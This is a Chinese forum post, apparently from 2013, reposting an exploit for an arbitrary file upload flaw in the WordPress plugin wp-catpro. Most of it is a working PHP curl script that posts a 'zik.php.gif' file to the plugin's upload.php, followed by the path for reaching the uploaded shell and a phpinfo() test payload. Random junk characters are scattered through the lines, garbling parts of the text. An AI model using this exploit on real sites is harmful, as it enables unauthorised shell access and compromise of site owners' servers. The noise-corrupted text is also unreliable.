找回密码
 立即注册
查看: 2608|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability& X% M6 r& h, h, p8 z
#-----------------------------------------------------------------------
8 b' ]* Z2 N* C4 t( @+ D3 u$ C + P+ k6 y; _! v& w
作者  => Zikou-16
; c  j( O: y% u& q) K9 T2 y8 D5 ^3 M邮箱 => zikou16x@gmail.com! n) a9 W' L6 c3 A- _, E5 `9 {4 ]
测试系统 : Windows 7 , Backtrack 5r3
5 f0 F$ a; h. L# g3 {下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip% |& y& S% b" W6 I. M
####, i: {+ ?9 m) f( u2 E
6 S: b- H& L( _0 Q
#=> Exploit 信息:
& z4 O* Y- y  F$ |3 u------------------) [$ Y4 N: ~( W( I+ v" E6 F
# 攻击者可以上传 file/shell.php.gif
5 P' ?  ^: x9 z0 y# ("jpg", "gif", "png")  // Allowed file extensions0 A0 a$ O4 z. E4 F( t6 \
# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)
9 L3 C5 |; Q4 M' D7 L# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)6 V7 F5 x* [' Q' R; v  }2 i, n
------------------" C' @6 I7 U1 y5 g

; f' B1 @) @. f) U2 @/ w. X#=> Exploit
$ w9 z8 P  T9 v. w" y" |8 ~# n-----------
0 L# h$ {) ?; ]# ~& R# F<?php
$ V, g7 |, ^8 P . [1 T7 i9 j  i/ W9 L7 m
$uploadfile="zik.php.gif";
' F- V+ A* K* i5 `0 C: k( V' `$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");
& J7 ]1 K3 ^, O: O* ncurl_setopt($ch, CURLOPT_POST, true);
; @1 y4 `. ^. Q8 T9 O" Z! wcurl_setopt($ch, CURLOPT_POSTFIELDS,5 M9 r7 e7 x8 K( O2 i; I
array('Filedata'=>"@$uploadfile",( U0 N. \' r# I$ @/ L% @
'folder'=>'/wp-content/uploads/catpro/'));1 F# @" V' @$ P3 ?" b: L
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
' f( S  G8 V9 H! f- i$ M$postResult = curl_exec($ch);
7 w) s1 [: T. z8 Z* Jcurl_close($ch);2 U9 j" {: [5 X- L2 F- K) B

% u8 b) }* o+ ~1 u$ Sprint "$postResult";
: u+ o4 A0 o6 X6 L+ X( t* z! E# r
1 P* E. A- b/ i+ G% L! DShell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
! x5 y2 x' H5 L2 x  ?>
2 `" k$ t; B% }& ?<?php% U$ `6 c$ J7 b! O) S
phpinfo();1 v! K; x$ j* G# p/ _  {
?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表